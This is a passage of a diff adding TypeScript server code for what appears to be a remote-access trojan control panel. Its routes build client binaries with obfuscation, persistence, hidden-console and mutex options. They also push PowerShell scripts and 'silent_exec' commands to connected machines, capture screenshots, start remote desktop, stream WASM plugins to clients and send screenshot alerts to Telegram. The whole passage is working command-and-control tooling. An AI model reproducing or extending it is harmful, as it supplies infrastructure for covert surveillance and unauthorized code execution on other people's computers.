headers: { "Content-Type": "application/json" },
body: JSON.stringify({ chat_id: chatId, text }),
});
} catch (err) {
logger.warn("[notify] telegram delivery failed", err);
}
}
export async function deliverNotificationWithScreenshot(
record: NotificationRecord,
getNotificationConfig: () => any,
): Promise<void> {
const screenshot = await waitForNotificationScreenshot(record.id);
await Promise.allSettled([
postNotificationWebhook(record, getNotificationConfig, screenshot),
postTelegramNotification(record, getNotificationConfig, screenshot),
]);
}
@@ -0,0 +1,237 @@
import fs from "fs/promises";
import path from "path";
import AdmZip from "adm-zip";
import { v4 as uuidv4 } from "uuid";
import type { ClientInfo } from "../types";
import { logger } from "../logger";
import { encodeMessage, type PluginManifest } from "../protocol";
export type PluginState = {
enabled: Record<string, boolean>;
lastError: Record<string, string>;
};
export async function loadPluginStateFromDisk(pluginStatePath: string): Promise<PluginState> {
try {
const raw = await fs.readFile(pluginStatePath, "utf-8");
const parsed = JSON.parse(raw) as { enabled?: Record<string, boolean>; lastError?: Record<string, string> };
return {
enabled: parsed.enabled || {},
lastError: parsed.lastError || {},
};
} catch {
return { enabled: {}, lastError: {} };
}
}
export async function savePluginStateToDisk(
pluginRoot: string,
pluginStatePath: string,
pluginState: PluginState,
): Promise<void> {
await fs.mkdir(pluginRoot, { recursive: true });
await fs.writeFile(pluginStatePath, JSON.stringify(pluginState, null, 2));
}
export async function ensurePluginExtracted(
pluginRoot: string,
pluginId: string,
sanitizePluginId: (name: string) => string,
): Promise<void> {
const safeId = sanitizePluginId(pluginId);
const zipPath = path.join(pluginRoot, `${safeId}.zip`);
const pluginDir = path.join(pluginRoot, safeId);
const manifestPath = path.join(pluginDir, "manifest.json");
let zipStat: any = null;
try {
zipStat = await fs.stat(zipPath);
} catch {
zipStat = null;
}
let manifestStat: any = null;
try {
manifestStat = await fs.stat(manifestPath);
} catch {
manifestStat = null;
}
if (!zipStat) {
if (manifestStat) return;
throw new Error(`Plugin bundle not found: ${safeId}`);
}
if (manifestStat && manifestStat.mtimeMs >= zipStat.mtimeMs) {
return;
}
await fs.mkdir(pluginDir, { recursive: true });
const assetsDir = path.join(pluginDir, "assets");
await fs.mkdir(assetsDir, { recursive: true });
const zip = new AdmZip(zipPath);
const entries = zip.getEntries();
let wasmEntry: Buffer | null = null;
let htmlEntry: Buffer | null = null;
let cssEntry: Buffer | null = null;
let jsEntry: Buffer | null = null;
for (const entry of entries) {
if (entry.isDirectory) continue;
const base = path.basename(entry.entryName);
if (base.toLowerCase().endsWith(".wasm")) {
wasmEntry = entry.getData();
} else if (base.toLowerCase().endsWith(".html")) {
htmlEntry = entry.getData();
} else if (base.toLowerCase().endsWith(".css")) {
cssEntry = entry.getData();
} else if (base.toLowerCase().endsWith(".js")) {
jsEntry = entry.getData();
}
}
if (!wasmEntry || !htmlEntry || !cssEntry || !jsEntry) {
throw new Error(`Invalid plugin bundle: ${safeId} (missing required files)`);
}
await fs.writeFile(path.join(pluginDir, `${safeId}.wasm`), wasmEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.html`), htmlEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
const manifest: PluginManifest = {
id: safeId,
name: safeId,
version: "1.0.0",
binary: `${safeId}.wasm`,
entry: `${safeId}.html`,
assets: {
html: `${safeId}.html`,
css: `${safeId}.css`,
js: `${safeId}.js`,
},
};
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
}
export async function syncPluginBundles(
pluginRoot: string,
ensureExtracted: (pluginId: string) => Promise<void>,
): Promise<void> {
await fs.mkdir(pluginRoot, { recursive: true });
const entries = await fs.readdir(pluginRoot, { withFileTypes: true });
for (const ent of entries) {
if (ent.isFile() && ent.name.toLowerCase().endsWith(".zip")) {
const pluginId = ent.name.slice(0, -4);
try {
await ensureExtracted(pluginId);
} catch (err) {
logger.warn(`[plugin] failed to extract ${pluginId}: ${(err as Error).message}`);
}
}
}
}
export async function listPluginManifests(
pluginRoot: string,
pluginState: PluginState,
saveState: () => Promise<void>,
ensureExtracted: (pluginId: string) => Promise<void>,
): Promise<PluginManifest[]> {
try {
await syncPluginBundles(pluginRoot, ensureExtracted);
const entries = await fs.readdir(pluginRoot, { withFileTypes: true });
const manifests: PluginManifest[] = [];
for (const ent of entries) {
if (!ent.isDirectory()) continue;
const manifestPath = path.join(pluginRoot, ent.name, "manifest.json");
try {
const raw = await fs.readFile(manifestPath, "utf-8");
const manifest = JSON.parse(raw) as PluginManifest;
const id = manifest.id || ent.name;
const name = manifest.name || ent.name;
if (pluginState.enabled[id] === undefined) {
pluginState.enabled[id] = true;
}
manifests.push({ ...manifest, id, name });
} catch {}
}
await saveState();
return manifests;
} catch {
return [];
}
}
export async function loadPluginBundle(
pluginRoot: string,
pluginId: string,
ensureExtracted: (pluginId: string) => Promise<void>,
): Promise<{ manifest: PluginManifest; wasm: Uint8Array }> {
await ensureExtracted(pluginId);
const dir = path.join(pluginRoot, pluginId);
const manifestPath = path.join(dir, "manifest.json");
const rawManifest = await fs.readFile(manifestPath, "utf-8");
const manifest = JSON.parse(rawManifest) as PluginManifest;
manifest.id = manifest.id || pluginId;
manifest.name = manifest.name || pluginId;
const binaryName = manifest.binary || manifest.entry || `${pluginId}.wasm`;
let wasmPath = path.join(dir, binaryName);
try {
await fs.access(wasmPath);
} catch {
const files = await fs.readdir(dir);
const firstWasm = files.find((f) => f.toLowerCase().endsWith(".wasm"));
if (!firstWasm) throw new Error("No .wasm found for plugin " + pluginId);
wasmPath = path.join(dir, firstWasm);
}
const wasm = new Uint8Array(await fs.readFile(wasmPath));
return { manifest, wasm };
}
export function sendPluginBundle(
target: ClientInfo,
bundle: { manifest: PluginManifest; wasm: Uint8Array },
): void {
const chunkSize = 16 * 1024;
const wasm = bundle.wasm;
const totalChunks = Math.ceil(wasm.length / chunkSize);
const initPayload = {
manifest: bundle.manifest,
size: wasm.length,
chunks: totalChunks,
};
target.ws.send(
encodeMessage({
type: "command",
commandType: "plugin_load_init",
id: uuidv4(),
payload: initPayload,
}),
);
for (let i = 0; i < totalChunks; i++) {
const start = i * chunkSize;
const end = Math.min(start + chunkSize, wasm.length);
const chunk = wasm.slice(start, end);
target.ws.send(
encodeMessage({
type: "command",
commandType: "plugin_load_chunk",
id: uuidv4(),
payload: { pluginId: bundle.manifest.id, index: i, data: chunk },
}),
);
}
target.ws.send(
encodeMessage({
type: "command",
commandType: "plugin_load_finish",
id: uuidv4(),
payload: { pluginId: bundle.manifest.id },
}),
);
}
@@ -0,0 +1,9 @@
import path from "path";
export function sanitizePluginId(name: string): string {
const cleaned = path.basename(name).replace(/[^A-Za-z0-9._-]/g, "");
if (!cleaned) {
throw new Error("Invalid plugin id");
}
return cleaned;
}
@@ -0,0 +1,43 @@
import path from "path";
type AssetsRouteDeps = {
PUBLIC_ROOT: string;
secureHeaders: (contentType?: string) => Record<string, string>;
mimeType: (path: string) => string;
};
export async function handleAssetsRoutes(
req: Request,
url: URL,
deps: AssetsRouteDeps,
): Promise<Response | null> {
if (!(req.method === "GET" && url.pathname.startsWith("/assets/"))) {
return null;
}
let decodedPath = url.pathname;
try {
decodedPath = decodeURIComponent(url.pathname);
} catch {
return new Response("Bad request", { status: 400 });
}
if (decodedPath.includes("\u0000")) {
return new Response("Not found", { status: 404 });
}
const assetsRoot = path.join(deps.PUBLIC_ROOT, "assets");
const relativePath = decodedPath.replace(/^\/assets\//, "");
const resolvedPath = path.resolve(assetsRoot, relativePath);
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
if (!resolvedPath.startsWith(rootWithSep)) {
return new Response("Not found", { status: 404 });
}
const file = Bun.file(resolvedPath);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(url.pathname)) });
}
return new Response("Not found", { status: 404 });
}
@@ -0,0 +1,179 @@
import {
authenticateRequest,
authenticateUser,
extractTokenFromRequest,
generateToken,
getUserFromRequest,
revokeToken,
} from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import {
isRateLimited,
recordFailedAttempt,
recordSuccessfulAttempt,
} from "../../rateLimit";
import { getUserById } from "../../users";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
export async function handleAuthRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
): Promise<Response | null> {
if (req.method === "POST" && url.pathname === "/api/login") {
const ip = server.requestIP(req)?.address || "unknown";
const rateLimitCheck = isRateLimited(ip);
if (rateLimitCheck.limited) {
logAudit({
timestamp: Date.now(),
username: "unknown",
ip,
action: AuditAction.LOGIN_FAILED,
success: false,
errorMessage: "Rate limited",
});
return new Response(
JSON.stringify({
ok: false,
error: `Too many failed attempts. Please try again in ${rateLimitCheck.retryAfter} seconds.`,
}),
{
status: 429,
headers: {
"Content-Type": "application/json",
"Retry-After": String(rateLimitCheck.retryAfter),
},
},
);
}
try {
const body = await req.json();
const username = body?.user || "";
const password = body?.pass || "";
const user = await authenticateUser(username, password);
if (user) {
const token = await generateToken(user);
logger.info(
`[auth] User ${user.username} logged in. must_change_password =`,
user.must_change_password,
`(type: ${typeof user.must_change_password})`,
);
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.LOGIN,
success: true,
});
recordSuccessfulAttempt(ip);
return new Response(
JSON.stringify({
ok: true,
token,
user: {
username: user.username,
role: user.role,
id: user.id,
mustChangePassword: Boolean(user.must_change_password),
},
}),
{
headers: {
"Content-Type": "application/json",
"Set-Cookie": `overlord_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
},
},
);
}
recordFailedAttempt(ip);
logAudit({
timestamp: Date.now(),
username,
ip,
action: AuditAction.LOGIN_FAILED,
success: false,
errorMessage: "Invalid credentials",
});
} catch (error) {
logger.error("[auth] Login error:", error);
logAudit({
timestamp: Date.now(),
username: "unknown",
ip,
action: AuditAction.LOGIN_FAILED,
success: false,
errorMessage: String(error),
});
}
return new Response(JSON.stringify({ ok: false, error: "Invalid credentials" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (req.method === "POST" && url.pathname === "/api/logout") {
const ip = server.requestIP(req)?.address || "unknown";
const user = await getUserFromRequest(req);
const token = extractTokenFromRequest(req);
if (token) {
revokeToken(token);
}
logAudit({
timestamp: Date.now(),
username: user?.username || "unknown",
ip,
action: AuditAction.LOGOUT,
success: true,
});
return new Response(JSON.stringify({ ok: true }), {
headers: {
"Content-Type": "application/json",
"Set-Cookie": `overlord_token=; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=0`,
},
});
}
if (req.method === "GET" && url.pathname === "/api/auth/me") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
const dbUser = getUserById(user.userId);
return new Response(
JSON.stringify({
username: user.username,
role: user.role,
userId: user.userId,
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
}),
{
headers: { "Content-Type": "application/json" },
},
);
}
return null;
}
@@ -0,0 +1,159 @@
import { authenticateRequest } from "../../auth";
import {
createAutoScript,
deleteAutoScript,
listAutoScripts,
type AutoScriptTrigger,
updateAutoScript,
} from "../../db";
import { requirePermission } from "../../rbac";
import { AUTO_SCRIPT_TRIGGERS, ALLOWED_SCRIPT_TYPES } from "../validation-constants";
import { v4 as uuidv4 } from "uuid";
export async function handleAutoScriptsRoutes(
req: Request,
url: URL,
): Promise<Response | null> {
if (req.method === "GET" && url.pathname === "/api/auto-scripts") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
return Response.json({ items: listAutoScripts() });
}
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const name = String(body?.name || "").trim();
const triggerRaw = String(body?.trigger || "").trim() as AutoScriptTrigger;
const script = String(body?.script || "");
const scriptTypeRaw = String(body?.scriptType || "powershell").trim();
const enabled = typeof body?.enabled === "boolean" ? body.enabled : true;
if (!name) {
return Response.json({ error: "Name is required" }, { status: 400 });
}
if (!script.trim()) {
return Response.json({ error: "Script is required" }, { status: 400 });
}
if (!AUTO_SCRIPT_TRIGGERS.has(triggerRaw)) {
return Response.json({ error: "Invalid trigger" }, { status: 400 });
}
const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
? scriptTypeRaw
: "powershell";
const item = createAutoScript({
id: uuidv4(),
name,
trigger: triggerRaw,
script,
scriptType,
enabled,
});
return Response.json({ ok: true, item });
}
const autoScriptMatch = url.pathname.match(/^\/api\/auto-scripts\/(.+)$/);
if (autoScriptMatch && req.method === "PUT") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
if (triggerRaw && !AUTO_SCRIPT_TRIGGERS.has(triggerRaw as AutoScriptTrigger)) {
return Response.json({ error: "Invalid trigger" }, { status: 400 });
}
const scriptTypeRaw = body?.scriptType ? String(body.scriptType).trim() : undefined;
const scriptType = scriptTypeRaw
? ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
? scriptTypeRaw
: "powershell"
: undefined;
const updated = updateAutoScript(autoScriptMatch[1], {
name: body?.name ? String(body.name).trim() : undefined,
trigger: triggerRaw as AutoScriptTrigger | undefined,
script: body?.script ? String(body.script) : undefined,
scriptType,
enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
});
if (!updated) {
return Response.json({ error: "Not found" }, { status: 404 });
}
return Response.json({ ok: true, item: updated });
}
if (autoScriptMatch && req.method === "DELETE") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
deleteAutoScript(autoScriptMatch[1]);
return Response.json({ ok: true });
}
return null;
}
@@ -0,0 +1,295 @@
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as buildManager from "../../build/buildManager";
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
import { requirePermission } from "../../rbac";
import { logger } from "../../logger";
import path from "path";
import { resolveRuntimeRoot } from "../runtime-paths";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type BuildRouteDeps = {
startBuildProcess: (buildId: string, config: any) => Promise<void>;
sanitizeMutex: (value?: string) => string | undefined;
allowedPlatforms: Set<string>;
};
export async function handleBuildRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: BuildRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/build")) {
return null;
}
try {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "POST" && url.pathname === "/api/build/start") {
requirePermission(user, "clients:control");
const body = await req.json();
const {
platforms,
serverUrl,
rawServerList,
stripDebug,
disableCgo,
obfuscate,
enablePersistence,
mutex,
disableMutex,
hideConsole,
noPrinting,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
return Response.json({ error: "No platforms specified" }, { status: 400 });
}
let safeMutex: string | undefined;
try {
safeMutex = typeof mutex === "string" ? deps.sanitizeMutex(mutex) : undefined;
} catch (err: any) {
return Response.json({ error: err?.message || "Invalid mutex" }, { status: 400 });
}
const safeDisableMutex = !!disableMutex;
const sanitizedPlatforms = platforms.filter((p: string) => typeof p === "string");
if (sanitizedPlatforms.length !== platforms.length) {
return Response.json({ error: "Invalid platform entries" }, { status: 400 });
}
const allowedPlatforms = sanitizedPlatforms.filter((p: string) =>
deps.allowedPlatforms.has(p),
);
if (allowedPlatforms.length === 0) {
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
}
const safeRawServerList = !!rawServerList;
const safeServerUrl =
typeof serverUrl === "string" && serverUrl.trim() !== ""
? serverUrl.trim()
: undefined;
if (safeRawServerList) {
if (!safeServerUrl) {
return Response.json(
{ error: "Raw server list requires a server URL" },
{ status: 400 },
);
}
try {
const parsed = new URL(safeServerUrl);
if (parsed.protocol !== "https:") {
return Response.json(
{ error: "Raw server list URL must use https" },
{ status: 400 },
);
}
} catch {
return Response.json({ error: "Invalid raw server list URL" }, { status: 400 });
}
}
const buildId = uuidv4();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
success: true,
});
const safeNoPrinting = !!noPrinting;
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
rawServerList: safeRawServerList,
mutex: safeMutex,
disableMutex: safeDisableMutex,
stripDebug,
disableCgo,
obfuscate: !!obfuscate,
enablePersistence,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
});
return Response.json({ buildId });
}
if (req.method === "GET" && url.pathname === "/api/build/list") {
requirePermission(user, "clients:control");
const builds = getAllBuilds();
return Response.json({ builds });
}
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
requirePermission(user, "clients:control");
const buildId = url.pathname.split("/")[3];
buildManager.deleteBuildStream(buildId);
deleteBuild(buildId);
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Deleted build ${buildId}`,
success: true,
});
return Response.json({ success: true });
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
requirePermission(user, "clients:control");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
if (!build) {
return Response.json({ error: "Build not found" }, { status: 404 });
}
logger.info(`[build:${buildId.substring(0, 8)}] Client connected to stream`);
const stream = new ReadableStream({
start(controller) {
build.controllers.push(controller);
logger.info(
`[build:${buildId.substring(0, 8)}] Added controller, total: ${build.controllers.length}`,
);
const encoder = new TextEncoder();
try {
controller.enqueue(
encoder.encode(
`data: ${JSON.stringify({ type: "status", text: "Connected to build stream" })}\n\n`,
),
);
} catch (err) {
logger.error(
`[build:${buildId.substring(0, 8)}] Failed to send initial message:`,
err,
);
}
},
cancel() {
const index = build.controllers.indexOf(this as any);
if (index > -1) {
build.controllers.splice(index, 1);
logger.info(
`[build:${buildId.substring(0, 8)}] Controller removed, remaining: ${build.controllers.length}`,
);
}
},
});
return new Response(stream, {
headers: {
"Content-Type": "text/event-stream",
"Cache-Control": "no-cache",
Connection: "keep-alive",
"X-Accel-Buffering": "no",
},
});
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
requirePermission(user, "clients:control");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
if (!build) {
const dbBuild = getBuild(buildId);
if (!dbBuild) {
return Response.json({ error: "Build not found" }, { status: 404 });
}
return Response.json({
id: dbBuild.id,
status: dbBuild.status,
startTime: dbBuild.startTime,
expiresAt: dbBuild.expiresAt,
files: dbBuild.files,
});
}
return Response.json({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files,
});
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
requirePermission(user, "clients:control");
const rawName = url.pathname.split("/api/build/download/")[1] || "";
let fileName = rawName;
try {
fileName = decodeURIComponent(rawName);
} catch {
return Response.json({ error: "Bad request" }, { status: 400 });
}
if (
!fileName ||
fileName.includes("\u0000") ||
fileName.includes("/") ||
fileName.includes("\\")
) {
return Response.json({ error: "File not found" }, { status: 404 });
}
const rootDir = resolveRuntimeRoot();
const distRoot = path.resolve(rootDir, "dist-clients");
const filePath = path.resolve(distRoot, fileName);
const rootWithSep = distRoot.endsWith(path.sep)
? distRoot
: `${distRoot}${path.sep}`;
if (!filePath.startsWith(rootWithSep)) {
return Response.json({ error: "File not found" }, { status: 404 });
}
const file = Bun.file(filePath);
if (!(await file.exists())) {
return Response.json({ error: "File not found" }, { status: 404 });
}
return new Response(file, {
headers: {
"Content-Type": "application/octet-stream",
"Content-Disposition": `attachment; filename="${fileName}"`,
},
});
}
return new Response("Not found", { status: 404 });
} catch (error) {
if (error instanceof Response) {
return error;
}
logger.error("[build] API error:", error);
return Response.json({ error: "Internal server error" }, { status: 500 });
}
}
@@ -0,0 +1,314 @@
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import {
banIp,
deleteClientRow,
getClientIp,
listClients,
setOnlineState,
} from "../../db";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
import { requirePermission } from "../../rbac";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type PendingScript = {
resolve: (result: any) => void;
reject: (error: any) => void;
timeout: NodeJS.Timeout;
};
type ClientRouteDeps = {
CORS_HEADERS: Record<string, string>;
pendingScripts: Map<string, PendingScript>;
};
export async function handleClientRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: ClientRouteDeps,
): Promise<Response | null> {
if (
!url.pathname.startsWith("/api/clients") &&
!url.pathname.match(/^\/api\/clients\/.+\/command$/)
) {
return null;
}
if (url.pathname === "/api/clients") {
if (!(await authenticateRequest(req))) {
return new Response("Unauthorized", { status: 401 });
}
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12));
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
const sort = url.searchParams.get("sort") || "last_seen_desc";
const statusFilter = url.searchParams.get("status") || "all";
const osFilter = url.searchParams.get("os") || "all";
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
const banMatch = url.pathname.match(/^\/api\/clients\/(.+)\/ban$/);
if (req.method === "POST" && banMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = banMatch[1];
const target = clientManager.getClient(targetId);
const targetIp = target?.ip || getClientIp(targetId);
if (!targetIp) {
return Response.json({ error: "Client IP not found" }, { status: 404 });
}
banIp(targetIp, `Banned by ${user.username} for client ${targetId}`);
if (target) {
try {
target.ws.close(4003, "banned");
} catch {}
setOnlineState(targetId, false);
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: `Banned IP ${targetIp}`,
success: true,
});
return Response.json({ ok: true, ip: targetIp });
}
const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/);
if (req.method === "POST" && thumbnailMatch) {
if (!(await authenticateRequest(req))) {
return new Response("Unauthorized", { status: 401 });
}
const clientId = thumbnailMatch[1];
const { generateThumbnail, markThumbnailRequested } = await import("../../thumbnails");
markThumbnailRequested(clientId);
const target = clientManager.getClient(clientId);
if (target?.online) {
const commandId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "screenshot",
id: commandId,
payload: { mode: "notification", allDisplays: true },
}),
);
metrics.recordCommand("screenshot");
}
const success = generateThumbnail(clientId);
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
}
if (req.method === "POST") {
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
if (cmdMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = cmdMatch[1];
const target = clientManager.getClient(targetId);
const ip = server.requestIP(req)?.address || "unknown";
if (!target) return new Response("Not found", { status: 404 });
try {
const body = await req.json();
const action = body?.action;
let success = true;
if (action === "ping") {
const nonce = Date.now() + Math.floor(Math.random() * 1000);
target.lastPingSent = Date.now();
target.lastPingNonce = nonce;
target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
} else if (action === "ping_bulk") {
const count = Math.max(1, Math.min(1000, Number(body?.count || 1)));
for (let i = 0; i < count; i++) {
}
} else if (action === "disconnect") {
target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
metrics.recordCommand("disconnect");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.DISCONNECT,
targetClientId: targetId,
success: true,
});
} else if (action === "reconnect") {
target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
metrics.recordCommand("reconnect");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.RECONNECT,
targetClientId: targetId,
success: true,
});
} else if (action === "screenshot") {
target.ws.send(
encodeMessage({
type: "command",
commandType: "screenshot",
id: uuidv4(),
payload: { mode: "notification", allDisplays: true },
}),
);
metrics.recordCommand("screenshot");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.SCREENSHOT,
targetClientId: targetId,
success: true,
});
} else if (action === "desktop_start") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
metrics.recordCommand("desktop_start");
} else if (action === "script_exec") {
const scriptContent = body?.script || "";
const scriptType = body?.scriptType || "powershell";
const cmdId = uuidv4();
const resultPromise = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingScripts.delete(cmdId);
reject(new Error("Script execution timed out after 5 minutes"));
}, 5 * 60 * 1000);
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
});
target.ws.send(encodeMessage({
type: "command",
commandType: "script_exec",
id: cmdId,
payload: { script: scriptContent, type: scriptType },
}));
metrics.recordCommand("script_exec");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.SCRIPT_EXECUTE,
targetClientId: targetId,
success: true,
details: `script_exec (${scriptType})`,
});
try {
const result = await resultPromise;
return Response.json(result);
} catch (error: any) {
return Response.json({ ok: false, error: error.message }, { status: 500 });
}
} else if (action === "silent_exec") {
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const command = typeof body?.command === "string" ? body.command.trim() : "";
const args = typeof body?.args === "string" ? body.args : "";
const cwd = typeof body?.cwd === "string" ? body.cwd : "";
if (!command) {
return new Response("Bad request", { status: 400 });
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "silent_exec",
id: cmdId,
payload: { command, args, cwd },
}),
);
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.SILENT_EXECUTE,
targetClientId: targetId,
success: true,
details: JSON.stringify({ command, args, cwd }),
});
} else if (action === "uninstall") {
target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
metrics.recordCommand("uninstall");
deleteClientRow(targetId);
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.UNINSTALL,
targetClientId: targetId,
details: "Agent uninstall requested - persistence will be removed",
success: true,
});
} else {
success = false;
return new Response("Bad request", { status: 400 });
}
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: action,
success,
});
return Response.json({ ok: true });
} catch (error) {
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
success: false,
errorMessage: String(error),
});
return new Response("Bad request", { status: 400 });
}
}
}
return null;
}
@@ -0,0 +1,328 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
type DeployUpload = {
id: string;
path: string;
name: string;
size: number;
os: DeployOs;
};
type DeployRouteDeps = {
DEPLOY_ROOT: string;
deployUploads: Map<string, DeployUpload>;
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
normalizeClientOs: (os?: string) => DeployOs;
};
export async function handleDeployRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: DeployRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/deploy")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/deploy/upload") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
